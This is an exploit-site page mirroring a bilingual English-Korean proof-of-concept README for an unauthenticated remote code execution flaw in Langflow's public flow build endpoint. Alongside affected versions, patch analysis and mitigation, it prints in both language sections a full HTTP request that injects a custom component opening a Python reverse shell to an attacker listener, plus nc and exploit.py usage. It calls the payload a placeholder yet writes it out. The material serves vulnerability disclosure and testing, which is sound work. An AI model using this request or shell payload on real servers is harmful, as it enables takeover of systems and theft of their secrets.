Sploitus

Exploit for Eval Injection in Langflow

githubexploit Β· 2026-08-21

Exploit Code

README347 lines
## https://sploitus.com/exploit?id=3048ED1B-ADF5-5FDA-A940-020DC324501C
# CVE-2026-33017 Langflow RCE

β˜… CVE-2026-33017 Langflow Remote Code Execution PoC β˜…

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7



## Environment Setup

Use the following commands to build and run the vulnerable Langflow environment:

```bash
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
```



## How to Use the PoC

After starting the vulnerable Langflow instance, run the PoC with the target URL, the Public flow ID, and the attacker callback address.

Option A β€” use your own listener:

```bash
# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost  --lport 4444
```

Option B β€” use the built-in listener with `--listen`:

```bash
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost  --lport 4444 --listen
```

| Option | Description |
|---|---|
| `--url` | Target Langflow server URL |
| `--flow-id` | UUID of the shared Public flow |
| `--lhost` | Attacker callback IP |
| `--lport` | Attacker callback port |
| `--listen` | Run the built-in listener instead of an external `nc` |



# ENG

> **CVE-2026-33017** is a **Remote Code Execution (RCE)** vulnerability in the Public flow build process of **Langflow**, an open-source platform for visually building LLM applications and AI workflows.  
> By sending crafted flow data to the `build_public_tmp` endpoint without authentication, an attacker can cause **arbitrary Python code to be executed on the server**.



## Overview

**CVE-2026-33017** affects the following Public flow build endpoint in **Langflow**, an open-source platform for visually creating LLM applications and AI workflows.

```http
POST /api/v1/build_public_tmp/{flow_id}/flow
```

A **Public flow** in Langflow is designed to be shared with other users through a link or similar mechanism.  
To support this feature, the build endpoint prepares the flow for execution without requiring authentication by reading the flow's nodes, edges, and settings, then constructing the internal execution graph needed to run it.

The issue was that vulnerable versions of `build_public_tmp` accepted not only the stored Public flow information on the server, but also the **`data` field supplied in the request body**.

This `data` field could contain the entire flow definition, including:

- the list of nodes
- the connections between nodes
- detailed configuration values for each node
- **templates and custom component data required for execution**

As a result, an attacker could use an unauthenticated request to inject an entirely attacker-controlled flow structure instead of relying on the legitimate Public flow stored on the server.

A particularly dangerous part of this design is the **Custom Component** feature.  
In Langflow, a component represents an individual functional block responsible for tasks such as input handling, model invocation, or output generation. A custom component is an extensible block that allows users to define its behavior directly in **Python code**.

An attacker could therefore embed a custom component containing **malicious Python code** inside the crafted `data` object, and the server would process it as if it were a normal part of the flow. As a result, the injected code could be parsed and executed during the build or execution process, ultimately leading to **remote code execution**.



## Affected Versions

| Category | Version |
|---|---|
| **Vulnerable** | Langflow **prior to 1.9.0** |
| **Patched** | Langflow **1.9.0 and later** |

> The GitHub Security Advisory lists the affected range as `

## Impact

Successful exploitation of this vulnerability may allow an attacker to take control of the Langflow server and carry out follow-on actions such as:

- obtaining a shell on the server
- exfiltrating environment variables or other sensitive information
- installing additional malicious code and establishing persistence



## Proof of Concept

> The following PoC demonstrates **CVE-2026-33017** on **Langflow 1.8.1**.

### 1) Identify the Public Flow ID

The attacker first identifies the **`flow_id`** of a target Public flow.

![Identify the Public Flow ID](https://github.com/user-attachments/assets/d55d33f7-b469-46a9-96bd-a78aca3ecd3c)

### 2) Send a Build Request with a Malicious Custom Component

The attacker sends a `build_public_tmp` request that injects a **custom component** whose Python `code` is executed on the server during the temporary build. In the request below, the `code` value is left as a placeholder β€” insert the payload yourself (see the note under the request).

```http
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}
```

### 3) Gain a Shell

During the build process, the code embedded in the custom component is executed on the server. When the reverse shell variant (automated by `exploit.py`) is used, a connection is established back to the attacker's listener, giving the attacker an interactive shell to run arbitrary commands on the server.

![Gain a Shell](https://github.com/user-attachments/assets/01d92968-8f92-4281-998d-2d0f49aacc12)



## Technical Analysis

Although `build_public_tmp` was intended to build **Public flows**, vulnerable versions still accepted a **`data` field directly from the request body**.

Because of this design, attacker-supplied `data` was passed directly into the server-side build logic, and any **Python code embedded in a custom component** was handled as though it were part of a legitimate flow.

As a result, an attacker did not need to rely on the original Public flow stored on the server. Instead, they could inject an entirely malicious flow definition of their own, including code that could be executed on the server.

After the patch, `build_public_tmp` no longer accepts externally supplied `data`.  
In other words, the path that previously allowed attackers to inject an entire flow definition through the request body was removed, which also prevented arbitrary code execution through malicious custom components.

![Patch Diff](https://github.com/user-attachments/assets/4851d6f1-4bc9-47ce-8574-0bef9ed92eaf)



## Mitigation

- update to **Langflow 1.9.0 or later**
- remove unnecessary exposure of Public flows
- restrict direct external access to Langflow instances



## References

- **GitHub Security Advisory**: [GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx)
- **NVD**: [CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017#range-21198362)
- **Patch Commit**: [`73b6612e3ef25fdae0a752d75b0fabd47328d4f0`](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0#diff-44baaabf1ab87d4713c828053d97a7f9f5dc8d1ab9c2f8d05c1a0bcdc43e999c)



# Analysis
- KR: https://www.skshieldus.com/report/eqstInsight/rt2607.html
- EN:

---



# KOR

> **CVE-2026-33017**은 μ˜€ν”ˆμ†ŒμŠ€ AI μ›Œν¬ν”Œλ‘œμš° ν”Œλž«νΌ **Langflow**의 Public ν”Œλ‘œμš° λΉŒλ“œ κ³Όμ •μ—μ„œ λ°œμƒν•˜λŠ” **원격 μ½”λ“œ μ‹€ν–‰(Remote Code Execution, RCE)** 취약점이닀.  
> κ³΅κ²©μžλŠ” 인증 없이 `build_public_tmp` μ—”λ“œν¬μΈνŠΈμ— μ‘°μž‘λœ ν”Œλ‘œμš° 데이터λ₯Ό μ „λ‹¬ν•¨μœΌλ‘œμ¨, μ„œλ²„ μΈ‘μ—μ„œ **μž„μ˜ Python μ½”λ“œ μ‹€ν–‰**을 μœ λ„ν•  수 μžˆλ‹€.



## Overview

**CVE-2026-33017**은 LLM μ• ν”Œλ¦¬μΌ€μ΄μ…˜κ³Ό AI μ›Œν¬ν”Œλ‘œμš°λ₯Ό μ‹œκ°μ μœΌλ‘œ ꡬ성할 수 μžˆλŠ” μ˜€ν”ˆμ†ŒμŠ€ ν”Œλž«νΌ **Langflow**의 Public ν”Œλ‘œμš° λΉŒλ“œ μ—”λ“œν¬μΈνŠΈμΈ μ•„λž˜ APIμ—μ„œ λ°œμƒν•œλ‹€.

```http
POST /api/v1/build_public_tmp/{flow_id}/flow
```

Langflow의 **Public ν”Œλ‘œμš°**λŠ” λ‹€λ₯Έ μ‚¬μš©μžκ°€ 링크 등을 톡해 λΆˆλŸ¬μ™€ μ‚¬μš©ν•  수 μžˆλ„λ‘ 외뢀에 κ³΅κ°œλ˜λŠ” ν”Œλ‘œμš°μ΄λ‹€.  
이 κΈ°λŠ₯은 인증 없이도 ν•΄λ‹Ή ν”Œλ‘œμš°λ₯Ό μ‹€ν–‰ κ°€λŠ₯ν•œ μƒνƒœλ‘œ μ€€λΉ„ν•  수 μžˆλ„λ‘ μ„€κ³„λ˜μ–΄ 있으며, λΉŒλ“œ μ—”λ“œν¬μΈνŠΈλŠ” ν”Œλ‘œμš°λ₯Ό κ΅¬μ„±ν•˜λŠ” λ…Έλ“œ, μ—°κ²° 관계, μ„€μ •κ°’ 등을 λ°”νƒ•μœΌλ‘œ λ‚΄λΆ€ μ‹€ν–‰ κ·Έλž˜ν”„λ₯Ό μƒμ„±ν•˜κ³  각 블둝이 μ‹€μ œλ‘œ λ™μž‘ν•  수 μžˆλ„λ‘ μ€€λΉ„ν•˜λŠ” 역할을 μˆ˜ν–‰ν•œλ‹€.

λ¬Έμ œλŠ” μ·¨μ•½ν•œ λ²„μ „μ˜ `build_public_tmp` μ—”λ“œν¬μΈνŠΈκ°€ μš”μ²­ 바디에 ν¬ν•¨λœ **`data` 값도 ν•¨κ»˜ λ°›μ•„λ“€μ˜€λ‹€**λŠ” 점이닀.

이 `data`μ—λŠ” λ‹€μŒκ³Ό 같은 ν”Œλ‘œμš° 전체 μ •μ˜κ°€ 포함될 수 μžˆλ‹€.

- λ…Έλ“œ λͺ©λ‘
- λ…Έλ“œ κ°„ μ—°κ²° 관계
- 각 λ…Έλ“œμ˜ μ„ΈλΆ€ μ„€μ •κ°’
- **싀행에 ν•„μš”ν•œ ν…œν”Œλ¦Ώ 및 μ»€μŠ€ν…€ μ»΄ν¬λ„ŒνŠΈ 정보**

즉, κ³΅κ²©μžλŠ” 인증 μ—†λŠ” μš”μ²­μœΌλ‘œ **μ„œλ²„μ— μ €μž₯된 정상 ν”Œλ‘œμš° λŒ€μ‹  μžμ‹ μ΄ μ‘°μž‘ν•œ ν”Œλ‘œμš° ꡬ쑰 전체λ₯Ό μ£Όμž…**ν•  수 μžˆμ—ˆλ‹€.

이 κ³Όμ •μ—μ„œ 특히 μœ„ν—˜ν•œ μš”μ†ŒλŠ” **μ»€μŠ€ν…€ μ»΄ν¬λ„ŒνŠΈ(Custom Component)** 이닀.  
Langflowμ—μ„œ μ»΄ν¬λ„ŒνŠΈλŠ” μž…λ ₯ 처리, λͺ¨λΈ 호좜, 좜λ ₯ 생성 λ“± κ°œλ³„ κΈ°λŠ₯을 λ‹΄λ‹Ήν•˜λŠ” 블둝이며, μ»€μŠ€ν…€ μ»΄ν¬λ„ŒνŠΈλŠ” μ‚¬μš©μžκ°€ **Python μ½”λ“œλ‘œ 직접 μ •μ˜ν•  수 μžˆλŠ” ν™•μž₯ν˜• 블둝**이닀.

κ³΅κ²©μžλŠ” μ‘°μž‘ν•œ `data` 내뢀에 **μ•…μ„± Python μ½”λ“œκ°€ ν¬ν•¨λœ μ»€μŠ€ν…€ μ»΄ν¬λ„ŒνŠΈ**λ₯Ό μ‚½μž…ν•  수 μžˆμ—ˆκ³ , μ„œλ²„λŠ” 이λ₯Ό 정상적인 ν”Œλ‘œμš° ꡬ성 μš”μ†Œμ²˜λŸΌ μ²˜λ¦¬ν–ˆλ‹€. κ·Έ κ²°κ³Ό, ν•΄λ‹Ή μ½”λ“œκ°€ λΉŒλ“œ/μ‹€ν–‰ νλ¦„μ—μ„œ μ‹€μ œλ‘œ ν•΄μ„Β·μ‹€ν–‰λ˜λ©° **원격 μ½”λ“œ μ‹€ν–‰**이 κ°€λŠ₯ν•΄μ‘Œλ‹€.



## Affected Versions

| ꡬ뢄 | 버전 |
|---|---|
| **μ·¨μ•½ 버전** | Langflow **1.9.0 미만** |
| **패치 버전** | Langflow **1.9.0 이상** |

> GitHub Security AdvisoryλŠ” 영ν–₯ λ²”μœ„λ₯Ό `

## Impact

이 취약점을 톡해 κ³΅κ²©μžλŠ” Langflow μ„œλ²„λ₯Ό μ œμ–΄ν•œ λ’€ μΆ”κ°€ ν–‰μœ„λ₯Ό μˆ˜ν–‰ν•  수 μžˆλ‹€. λŒ€ν‘œμ μΈ 영ν–₯은 λ‹€μŒκ³Ό κ°™λ‹€.

- μ„œλ²„ μ…Έ νšλ“
- ν™˜κ²½ λ³€μˆ˜ 및 비밀정보 유좜
- μΆ”κ°€ μ•…μ„± μ½”λ“œ μ„€μΉ˜ 및 지속성 확보



## Proof of Concept

> μ•„λž˜ PoCλŠ” **Langflow 1.8.1** ν™˜κ²½μ—μ„œ **CVE-2026-33017**을 μž¬ν˜„ν•˜λŠ” μ˜ˆμ‹œμ΄λ‹€.

### 1) Public ν”Œλ‘œμš° ID 확인

κ³΅κ²©μžλŠ” 곡격 λŒ€μƒμ΄ λ˜λŠ” **Public ν”Œλ‘œμš°μ˜ `flow_id`** λ₯Ό λ¨Όμ € νŒŒμ•…ν•œλ‹€.

![Public ν”Œλ‘œμš° ID 확인](https://github.com/user-attachments/assets/d55d33f7-b469-46a9-96bd-a78aca3ecd3c)

### 2) μ•…μ„± μ»€μŠ€ν…€ μ»΄ν¬λ„ŒνŠΈ λΉŒλ“œ μš”μ²­

κ³΅κ²©μžλŠ” μ»€μŠ€ν…€ μ»΄ν¬λ„ŒνŠΈμ˜ Python `code`κ°€ μž„μ‹œ λΉŒλ“œ κ³Όμ •μ—μ„œ μ„œλ²„μ—μ„œ μ‹€ν–‰λ˜λ„λ‘ μ‘°μž‘ν•œ `build_public_tmp` μš”μ²­μ„ μ „μ†‘ν•œλ‹€. μ•„λž˜ μš”μ²­μ˜ `code` 값은 μžλ¦¬ν‘œμ‹œμžλ‘œ λΉ„μ›Œ λ‘μ—ˆμœΌλ©°, νŽ˜μ΄λ‘œλ“œλŠ” 직접 μ±„μ›Œ λ„£μ–΄μ•Ό ν•œλ‹€(μš”μ²­ μ•„λž˜ μ•ˆλ‚΄ μ°Έκ³ ).

```http
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}
```

### 3) μ‰˜ νƒˆμ·¨

λΉŒλ“œ κ³Όμ •μ—μ„œ μ»€μŠ€ν…€ μ»΄ν¬λ„ŒνŠΈμ— ν¬ν•¨λœ μ½”λ“œκ°€ μ„œλ²„μ—μ„œ μ‹€ν–‰λœλ‹€. `exploit.py`κ°€ μžλ™ν™”ν•˜λŠ” λ¦¬λ²„μŠ€ μ…Έ 방식을 μ‚¬μš©ν•˜λ©΄ 곡격자 μΈ‘ λ¦¬μŠ€λ„ˆλ‘œ 연결이 μˆ˜λ¦½λ˜μ–΄, κ³΅κ²©μžλŠ” μ„œλ²„ μƒμ—μ„œ μž„μ˜ λͺ…령을 μ‹€ν–‰ν•  수 μžˆλŠ” λŒ€ν™”ν˜• 셸을 νšλ“ν•œλ‹€.

![Reverse Shell νšλ“](https://github.com/user-attachments/assets/01d92968-8f92-4281-998d-2d0f49aacc12)



## Technical Analysis

μ·¨μ•½ λ²„μ „μ˜ `build_public_tmp` μ—”λ“œν¬μΈνŠΈλŠ” **Public ν”Œλ‘œμš°λ₯Ό μœ„ν•œ λΉŒλ“œ API** μž„μ—λ„ λΆˆκ΅¬ν•˜κ³ , μš”μ²­ λ³Έλ¬Έμ—μ„œ **`data` 값을 직접 받을 수 μžˆμ—ˆλ‹€**.

이 섀계 λ•Œλ¬Έμ— κ³΅κ²©μžκ°€ μ „λ‹¬ν•œ `data`λŠ” μ„œλ²„ μΈ‘ λΉŒλ“œ λ‘œμ§μ— κ·ΈλŒ€λ‘œ λ°˜μ˜λ˜μ—ˆκ³ , κ·Έ 내뢀에 ν¬ν•¨λœ **μ»€μŠ€ν…€ μ»΄ν¬λ„ŒνŠΈμ˜ Python μ½”λ“œ** μ—­μ‹œ 정상 ν”Œλ‘œμš° ꡬ성 μš”μ†Œμ²˜λŸΌ μ²˜λ¦¬λ˜μ—ˆλ‹€.

결과적으둜 κ³΅κ²©μžλŠ” μ„œλ²„μ— μ €μž₯된 μ›λž˜μ˜ Public ν”Œλ‘œμš°λ₯Ό λ”°λ₯΄μ§€ μ•Šκ³ , **μžμ‹ μ΄ λ§Œλ“  μ•…μ„± ν”Œλ‘œμš° μ •μ˜λ₯Ό κ·ΈλŒ€λ‘œ μ£Όμž…**ν•  수 μžˆμ—ˆμœΌλ©°, 이 μ•ˆμ— ν¬ν•¨λœ μ•…μ„± μ½”λ“œκ°€ μ„œλ²„μ—μ„œ 싀행될 수 μžˆμ—ˆλ‹€.

패치 μ΄ν›„μ—λŠ” `build_public_tmp`μ—μ„œ 더 이상 μ™ΈλΆ€ μš”μ²­μœΌλ‘œλΆ€ν„° `data`λ₯Ό λ°›μ§€ μ•Šλ„λ‘ μˆ˜μ •λ˜μ—ˆλ‹€.  
즉, κ³΅κ²©μžκ°€ μš”μ²­ λ°”λ””λ₯Ό 톡해 **ν”Œλ‘œμš° μ •μ˜ 자체λ₯Ό μ£Όμž…ν•˜λŠ” κ²½λ‘œκ°€ 차단**λ˜μ—ˆκ³ , 이둜 인해 μ»€μŠ€ν…€ μ»΄ν¬λ„ŒνŠΈλ₯Ό ν†΅ν•œ μž„μ˜ μ½”λ“œ μ‹€ν–‰ λ˜ν•œ λΆˆκ°€λŠ₯ν•΄μ‘Œλ‹€.

![Patch Diff](https://github.com/user-attachments/assets/4851d6f1-4bc9-47ce-8574-0bef9ed92eaf)



## Mitigation

- **Langflow 1.9.0 μ΄μƒμœΌλ‘œ μ—…λ°μ΄νŠΈ**
- λΆˆν•„μš”ν•œ Public ν”Œλ‘œμš° λ…ΈμΆœ 제거
- Langflow μΈμŠ€ν„΄μŠ€λ₯Ό 외뢀에 직접 λ…ΈμΆœν•˜μ§€ μ•Šλ„λ‘ λ„€νŠΈμ›Œν¬ μ œν•œ



## References

- **GitHub Security Advisory**: [GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx)
- **NVD**: [CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017#range-21198362)
- **Patch Commit**: [`73b6612e3ef25fdae0a752d75b0fabd47328d4f0`](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0#diff-44baaabf1ab87d4713c828053d97a7f9f5dc8d1ab9c2f8d05c1a0bcdc43e999c)



## Analysis
- KR: https://www.skshieldus.com/report/eqstInsight/rt2607.html
- EN: